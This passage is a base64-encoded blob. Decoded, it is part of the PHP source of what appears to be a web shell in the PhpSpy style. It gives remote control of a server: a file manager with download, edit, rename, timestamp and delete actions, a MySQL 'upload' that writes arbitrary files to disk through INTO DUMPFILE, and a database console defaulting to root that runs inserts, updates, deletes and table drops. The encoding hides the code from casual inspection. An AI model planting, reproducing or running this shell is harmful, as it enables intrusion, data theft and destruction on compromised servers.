NCgltYWtlaGlkZSgndGhlZmlsZScpOw0KDQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoNCgltYWtlaGlkZSgnZGlyJywkbm93cGF0aCk7DQoNCgkkZmlsZV9pID0gJzAnOw0KDQoJZm9yZWFjaCgkZmlsZWRhdGEgYXMgJGtleSA9PiAkZmlsZWRiKXsNCg0KCQlpZigkZmlsZWRiWydmaWxlbmFtZSddIT0nLi4nICYmICRmaWxlZGJbJ2ZpbGVuYW1lJ10hPScuJykgew0KDQoJCQkkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJGZpbGVkYlsnc2VydmVyX2xpbmsnXSk7DQoNCgkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCXAoJzx0ZCB3aWR0aD0iMiUiIG5vd3JhcD48aW5wdXQgdHlwZT0iY2hlY2tib3giIHZhbHVlPSIxIiBuYW1lPSJkbFsnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ10iPjwvdGQ+Jyk7DQoNCgkJCXAoJzx0ZD48YSBocmVmPSInLiRmaWxldXJsLiciIHRhcmdldD0iX2JsYW5rIj4nLiRmaWxlZGJbJ2ZpbGVuYW1lJ10uJzwvYT48L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicuJGZpbGVkYlsnbXRpbWUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nLiRmaWxlZGJbJ3NpemUnXS4nPC90ZD4nKTsNCg0KCQkJcCgnPHRkIG5vd3JhcD4nKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpmaWxlcGVybShcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcpOyI+Jy4kZmlsZWRiWydmaWxlY2htb2QnXS4nPC9hPiAvICcpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmZpbGVwZXJtKFwnJy4kZmlsZWRiWydzZXJ2ZXJfbGluayddLidcJyk7Ij4nLiRmaWxlZGJbJ2ZpbGVwZXJtJ10uJzwvYT4nLiRmaWxlZGJbJ2ZpbGVvd25lciddLic8L3RkPicpOw0KDQoJCQlwKCc8dGQgbm93cmFwPicpOw0KDQoJCQlwKCc8YSBocmVmPSJqYXZhc2NyaXB0OmRvZmlsZShcJ2Rvd25maWxlXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkRvd248L2E+IHwgJyk7DQoNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6Y29weWZpbGUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPkNvcHk8L2E+IHwgJyk7DQoNCgkJCXAoJzxhIGhyZWY9ImphdmFzY3JpcHQ6b3BmaWxlKFwnZWRpdGZpbGVcJyxcJycuJGZpbGVkYlsnc2VydmVyX2xpbmsnXS4nXCcsXCcnLiRmaWxlZGJbJ2RpcmxpbmsnXS4nXCcpOyI+RWRpdDwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpyZW5hbWUoXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnKTsiPlJlbmFtZTwvYT4gfCAnKTsNCg0KCQkJcCgnPGEgaHJlZj0iamF2YXNjcmlwdDpvcGZpbGUoXCduZXd0aW1lXCcsXCcnLiRmaWxlZGJbJ3NlcnZlcl9saW5rJ10uJ1wnLFwnJy4kZmlsZWRiWydkaXJsaW5rJ10uJ1wnKTsiPlRpbWU8L2E+Jyk7DQoNCgkJCXAoJzwvdGQ+PC90cj4nKTsNCg0KCQkJJGZpbGVfaSsrOw0KDQoJCX0NCg0KCX0NCg0KCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpbmcgZG93bmxvYWQgc2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBzZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgZGlyZWN0b3JpZXMgLyAnLiRmaWxlX2kuJyBmaWxlczwvdGQ+PC90cj4nKTsNCg0KCXAoJzwvZm9ybT48L3RhYmxlPicpOw0KDQp9Ly8gZW5kIGRpcg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxmaWxlJykgew0KDQoJaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsNCg0KCQkkZmlsZSA9ICRfRklMRVNbJ3VwbG9hZGZpbGUnXTsNCg0KCQkkZmlsZW5hbWUgPSAkZmlsZVsndG1wX25hbWUnXTsNCg0KCQlpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgew0KDQoJCQltKCdUaGUgZ29hbCBmaWxlIGhhcyBhbHJlYWR5IGV4aXN0ZWQnKTsNCg0KCQl9IGVsc2Ugew0KDQoJCQlpZighJGZpbGVuYW1lKSB7DQoNCgkJCQltKCdQbGVhc2UgY2hvb3NlIGEgZmlsZScpOw0KDQoJCQl9IGVsc2Ugew0KDQoJCQkJJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsNCg0KCQkJCSRjb250ZW50cz1AZnJlYWQoJGZwLCBmaWxlc2l6ZSgkZmlsZW5hbWUpKTsNCg0KCQkJCUBmY2xvc2UoJGZwKTsNCg0KCQkJCSRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsNCg0KCQkJCWlmKCEkdXBuYW1lKSAkdXBuYW1lID0gJGZpbGVbJ25hbWUnXTsNCg0KCQkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOw0KDQoJCQkJbSgkcmVzdWx0ID8gJ1VwbG9hZCBzdWNjZXNzJyA6ICdVcGxvYWQgaGFzIGZhaWxlZDogJy5teXNxbF9lcnJvcigpKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KPz4NCg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBteXNxbGZpbGUoZG9pbmcpew0KDQoJaWYoIWRvaW5nKSByZXR1cm47DQoNCgkkKCdkb2luZycpLnZhbHVlPWRvaW5nOw0KDQoJJCgnbXlzcWxmaWxlJykuZGJob3N0LnZhbHVlPSQoJ2RiaW5mbycpLmRiaG9zdC52YWx1ZTsNCg0KCSQoJ215c3FsZmlsZScpLmRicG9ydC52YWx1ZT0kKCdkYmluZm8nKS5kYnBvcnQudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOw0KDQoJJCgnbXlzcWxmaWxlJykuZGJwYXNzLnZhbHVlPSQoJ2RiaW5mbycpLmRicGFzcy52YWx1ZTsNCg0KCSQoJ215c3FsZmlsZScpLmRibmFtZS52YWx1ZT0kKCdkYmluZm8nKS5kYm5hbWUudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7DQoNCgkkKCdteXNxbGZpbGUnKS5zdWJtaXQoKTsNCg0KfQ0KDQo8L3NjcmlwdD4NCg0KPD9waHANCg0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCg0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7DQoNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoNCglmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxmaWxlJyk7DQoNCglwKCc8cD4nKTsNCg0KCXAoJ0RCSG9zdDonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOw0KDQoJcCgnOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsNCg0KCXAoJ0RCVXNlcjonKTsNCg0KCW1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnVzZXInLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JGRidXNlcikpOw0KDQoJcCgnREJQYXNzOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7DQoNCglwKCdEQk5hbWU6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsNCg0KCXAoJ0RCQ2hhcnNldDonKTsNCg0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KDQoJcCgnPC9wPicpOw0KDQoJZm9ybWZvb3QoKTsNCg0KCXAoJzxmb3JtIGFjdGlvbj0iJy4kc2VsZi4nIiBtZXRob2Q9IlBPU1QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIG5hbWU9Im15c3FsZmlsZSIgaWQ9Im15c3FsZmlsZSI+Jyk7DQoNCglwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOw0KDQoJcCgnPHA+PGI+VGhpcyBvcGVyYXRpb24gdGhlIERCIHVzZXIgbXVzdCBoYXMgRklMRSBwcml2aWxlZ2U8L2I+PC9wPicpOw0KDQoJcCgnPHA+U2F2ZSBwYXRoKGZ1bGxwYXRoKTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ic2F2ZXBhdGgiIHNpemU9IjQ1IiB0eXBlPSJ0ZXh0IiAvPiBDaG9vc2UgYSBmaWxlOiA8aW5wdXQgY2xhc3M9ImlucHV0IiBuYW1lPSJ1cGxvYWRmaWxlIiB0eXBlPSJmaWxlIiAvPiA8YSBocmVmPSJqYXZhc2NyaXB0Om15c3FsZmlsZShcJ215c3FsdXBsb2FkXCcpOyI+VXBsb2FkPC9hPjwvcD4nKTsNCg0KCXAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsNCg0KCXAoJzxwPkZpbGU6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9Im15c3FsZGxmaWxlIiBzaXplPSIxMTUiIHR5cGU9InRleHQiIC8+IDxhIGhyZWY9ImphdmFzY3JpcHQ6bXlzcWxmaWxlKFwnbXlzcWxkb3duXCcpOyI+RG93bmxvYWQ8L2E+PC9wPicpOw0KDQoJbWFrZWhpZGUoJ2RiaG9zdCcpOw0KDQoJbWFrZWhpZGUoJ2RicG9ydCcpOw0KDQoJbWFrZWhpZGUoJ2RidXNlcicpOw0KDQoJbWFrZWhpZGUoJ2RicGFzcycpOw0KDQoJbWFrZWhpZGUoJ2RibmFtZScpOw0KDQoJbWFrZWhpZGUoJ2NoYXJzZXQnKTsNCg0KCW1ha2VoaWRlKCdkb2luZycpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsNCg0KCXAoJzwvZm9ybT4nKTsNCg0KfQ0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdzcWxhZG1pbicpIHsNCg0KCSEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsNCg0KCSEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7DQoNCgkhJGRicG9ydCAmJiAkZGJwb3J0ID0gJzMzMDYnOw0KDQoJJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsNCg0KCWlmKGlzc2V0KCRkYmhvc3QpKXsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJob3N0XCIgbmFtZT1cImRiaG9zdFwiIHZhbHVlPVwiJGRiaG9zdFwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRidXNlcikpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJ1c2VyXCIgbmFtZT1cImRidXNlclwiIHZhbHVlPVwiJGRidXNlclwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRicGFzcykpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwYXNzXCIgbmFtZT1cImRicGFzc1wiIHZhbHVlPVwiJGRicGFzc1wiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRicG9ydCkpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJwb3J0XCIgbmFtZT1cImRicG9ydFwiIHZhbHVlPVwiJGRicG9ydFwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGRibmFtZSkpIHsNCg0KCQkkZGJmb3JtIC49ICI8aW5wdXQgdHlwZT1cImhpZGRlblwiIGlkPVwiZGJuYW1lXCIgbmFtZT1cImRibmFtZVwiIHZhbHVlPVwiJGRibmFtZVwiIC8+XG4iOw0KDQoJfQ0KDQoJaWYoaXNzZXQoJGNoYXJzZXQpKSB7DQoNCgkJJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImNoYXJzZXRcIiBuYW1lPVwiY2hhcnNldFwiIHZhbHVlPVwiJGNoYXJzZXRcIiAvPlxuIjsNCg0KCX0NCg0KDQoNCglpZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgJHNhdmVhc2ZpbGUpIHsNCg0KCQlpZiAoISR0YWJsZSkgew0KDQoJCQltKCdQbGVhc2UgY2hvb3NlIHRoZSB0YWJsZScpOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQkkdGFibGUgPSBhcnJheV9mbGlwKCR0YWJsZSk7DQoNCgkJCSRmcCA9IEBmb3BlbigkcGF0aCwndycpOw0KDQoJCQlpZiAoJGZwKSB7DQoNCgkJCQkkcmVzdWx0ID0gcSgnU0hPVyB0YWJsZXMnKTsNCg0KCQkJCWlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsNCg0KCQkJCSRteXNxbGRhdGEgPSAnJzsNCg0KCQkJCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCg0KCQkJCQlpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgew0KDQoJCQkJCQlzcWxkdW1wdGFibGUoJGN1cnJvd1swXSwgJGZwKTsNCg0KCQkJCQl9DQoNCgkJCQl9DQoNCgkJCQlmY2xvc2UoJGZwKTsNCg0KCQkJCSRmaWxldXJsID0gc3RyX3JlcGxhY2UoU0FfUk9PVCwnJywkcGF0aCk7DQoNCgkJCQltKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOw0KDQoJCQkJbXlzcWxfY2xvc2UoKTsNCg0KCQkJfSBlbHNlIHsNCg0KCQkJCW0oJ0JhY2t1cCBmYWlsZWQnKTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KCWlmICgkaW5zZXJ0ICYmICRpbnNlcnRzcWwpIHsNCg0KCQkka2V5c3RyID0gJHZhbHN0ciA9ICR0bXAgPSAnJzsNCg0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoNCgkJCWlmICgkdmFsKSB7DQoNCgkJCQkka2V5c3RyIC49ICR0bXAuJGtleTsNCg0KCQkJCSR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoNCgkJCQkkdG1wID0gJywnOw0KDQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgka2V5c3RyICYmICR2YWxzdHIpIHsNCg0KCQkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoNCgkJCW0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7DQoNCgkJfQ0KDQoJfQ0KDQoJaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7DQoNCgkJJHZhbHN0ciA9ICR0bXAgPSAnJzsNCg0KCQlmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7DQoNCgkJCSR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7DQoNCgkJCSR0bXAgPSAnLCc7DQoNCgkJfQ0KDQoJCWlmICgkdmFsc3RyKSB7DQoNCgkJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCQltKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnUmVjb3JkIHVwZGF0aW5nJyA6IG15c3FsX2Vycm9yKCkpOw0KDQoJCX0NCg0KCX0NCg0KCWlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgew0KDQoJCSR3aGVyZSA9IGJhc2U2NF9kZWNvZGUoJGJhc2U2NCk7DQoNCgkJJGRlbGV0ZV9zcWwgPSAiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiOw0KDQoJCWRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOw0KDQoJCW0ocSgiREVMRVRFIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUiKSA/ICdEZWxldGlvbiByZWNvcmQgb2Ygc3VjY2VzcycgOiBteXNxbF9lcnJvcigpKTsNCg0KCX0NCg0KDQoNCglpZiAoJHRhYmxlbmFtZSAmJiAkZG9pbmcgPT0gJ2Ryb3AnKSB7DQoNCgkJZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7DQoNCgkJaWYgKHEoIkRST1AgVEFCTEUgJHRhYmxlbmFtZSIpKSB7DQoNCgkJCW0oJ0Ryb3AgdGFibGUgb2Ygc3VjY2VzcycpOw0KDQoJCQkkdGFibGVuYW1lID0gJyc7DQoNCgkJfSBlbHNlIHsNCg0KCQkJbShteXNxbF9lcnJvcigpKTsNCg0KCQl9DQoNCgl9DQoNCg0KDQoJJGNoYXJzZXRzID0gYXJyYXkoJyc9PidEZWZhdWx0JywnZ2JrJz0+J0dCSycsICdiaWc1Jz0+J0JpZzUnLCAndXRmOCc9PidVVEYtOCcsICdsYXRpbjEnPT4nTGF0aW4xJyk7DQoNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J01ZU1FMIE1hbmFnZXInKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCXAoJzxwPicpOw0KDQoJcCgnREJIb3N0OicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7DQoNCglwKCc6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwb3J0Jywnc2l6ZSc9PjQsJ3ZhbHVlJz0+JGRicG9ydCkpOw0KDQoJcCgnREJVc2VyOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7DQoNCglwKCdEQlBhc3M6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsNCg0KCXAoJ0RCQ2hhcnNldDonKTsNCg0KCW1ha2VzZWxlY3QoYXJyYXkoJ25hbWUnPT4nY2hhcnNldCcsJ29wdGlvbic9PiRjaGFyc2V0cywnc2VsZWN0ZWQnPT4kY2hhcnNldCkpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2Nvbm5lY3QnLCd2YWx1ZSc9PidDb25uZWN0JywndHlwZSc9PidzdWJtaXQnLCdjbGFzcyc9PididCcpKTsNCg0KCXAoJzwvcD4nKTsNCg0KCWZvcm1mb290KCk7DQoNCj8+DQoNCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCg0KZnVuY3Rpb24gZWRpdHJlY29yZChhY3Rpb24sIGJhc2U2NCwgdGFibGVuYW1lKXsNCg0KCWlmIChhY3Rpb24gPT0gJ2RlbCcpIHsJCQ0KDQoJCWlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOw0KDQoJfQ0KDQoJJCgncmVjb3JkbGlzdCcpLmRvaW5nLnZhbHVlPWFjdGlvbjsNCg0KCSQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0Ow0KDQoJJCgncmVjb3JkbGlzdCcpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7DQoNCgkkKCdyZWNvcmRsaXN0Jykuc3VibWl0KCk7DQoNCn0NCg0KZnVuY3Rpb24gbW9kZGJuYW1lKGRibmFtZSkgew0KDQoJaWYoIWRibmFtZSkgcmV0dXJuOw0KDQoJJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsNCg0KCSQoJ3NldGRibmFtZScpLnN1Ym1pdCgpOw0KDQp9DQoNCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7DQoNCglpZighdGFibGVuYW1lKSByZXR1cm47DQoNCglpZiAoZG9pbmcpIHsNCg0KCQkkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOw0KDQoJfQ0KDQoJaWYgKHBhZ2UpIHsNCg0KCQkkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsNCg0KCX0NCg0KCSQoJ3NldHRhYmxlJykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsNCg0KCSQoJ3NldHRhYmxlJykuc3VibWl0KCk7DQoNCn0NCg0KPC9zY3JpcHQ+DQoNCjw/cGhwDQoNCgkvLz8/Pz8NCg0KCWZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3JlY29yZGxpc3QnKSk7DQoNCgltYWtlaGlkZSgnZG9pbmcnKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KDQoJbWFrZWhpZGUoJ2Jhc2U2NCcpOw0KDQoJbWFrZWhpZGUoJ3RhYmxlbmFtZScpOw0KDQoJcCgkZGJmb3JtKTsNCg0KCWZvcm1mb290KCk7DQoNCg0KDQoJLy8/Pz8/Pw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0ZGJuYW1lJykpOw0KDQoJbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7DQoNCglwKCRkYmZvcm0pOw0KDQoJaWYgKCEkZGJuYW1lKSB7DQoNCgkJbWFrZWhpZGUoJ2RibmFtZScpOw0KDQoJfQ0KDQoJZm9ybWZvb3QoKTsNCg0KDQoNCgkvLz8/Pw0KDQoJZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4nc2V0dGFibGUnKSk7DQoNCgltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCXAoJGRiZm9ybSk7DQoNCgltYWtlaGlkZSgndGFibGVuYW1lJyk7DQoNCgltYWtlaGlkZSgncGFnZScsJHBhZ2UpOw0KDQoJbWFrZWhpZGUoJ2RvaW5nJyk7DQoNCglmb3JtZm9vdCgpOw0KDQoNCg0KCSRjYWNoZXRhYmxlcyA9IGFycmF5KCk7CQ0KDQoJJHBhZ2VudW0gPSAzMDsNCg0KCSRwYWdlID0gaW50dmFsKCRwYWdlKTsNCg0KCWlmKCRwYWdlKSB7DQoNCgkJJHN0YXJ0X2xpbWl0ID0gKCRwYWdlIC0gMSkgKiAkcGFnZW51bTsNCg0KCX0gZWxzZSB7DQoNCgkJJHN0YXJ0X2xpbWl0ID0gMDsNCg0KCQkkcGFnZSA9IDE7DQoNCgl9DQoNCglpZiAoaXNzZXQoJGRiaG9zdCkgJiYgaXNzZXQoJGRidXNlcikgJiYgaXNzZXQoJGRicGFzcykgJiYgaXNzZXQoJGNvbm5lY3QpKSB7DQoNCgkJZGJjb25uKCRkYmhvc3QsICRkYnVzZXIsICRkYnBhc3MsICRkYm5hbWUsICRjaGFyc2V0LCAkZGJwb3J0KTsNCg0KCQkvLz8/Pz8/Pz8NCg0KCQkkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsNCg0KCQlwKCc8cD5NeVNRTCAnLiRteXNxbHZlci4nIHJ1bm5pbmcgaW4gJy4kZGJob3N0LicgYXMgJy4kZGJ1c2VyLidAJy4kZGJob3N0Lic8L3A+Jyk7DQoNCgkJJGhpZ2h2ZXIgPSAkbXlzcWx2ZXIgPiAnNC4xJyA/IDEgOiAwOw0KDQoNCg0KCQkvLz8/Pz8/DQoNCgkJJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsNCg0KCQkkZGJzID0gYXJyYXkoKTsNCg0KCQkkZGJzW10gPSAnLS0gU2VsZWN0IGEgZGF0YWJhc2UgLS0nOw0KDQoJCXdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsNCg0KCQkJJGRic1skZGJbJ0RhdGFiYXNlJ11dID0gJGRiWydEYXRhYmFzZSddOw0KDQoJCX0NCg0KCQltYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsNCg0KCQkkdGFibGVkYiA9IGFycmF5KCk7DQoNCgkJaWYgKCRkYm5hbWUpIHsNCg0KCQkJcCgnPHA+Jyk7DQoNCgkJCXAoJ0N1cnJlbnQgZGFiYWJhc2U6IDxhIGhyZWY9ImphdmFzY3JpcHQ6bW9kZGJuYW1lKFwnJy4kZGJuYW1lLidcJyk7Ij4nLiRkYm5hbWUuJzwvYT4nKTsNCg0KCQkJaWYgKCR0YWJsZW5hbWUpIHsNCg0KCQkJCXAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ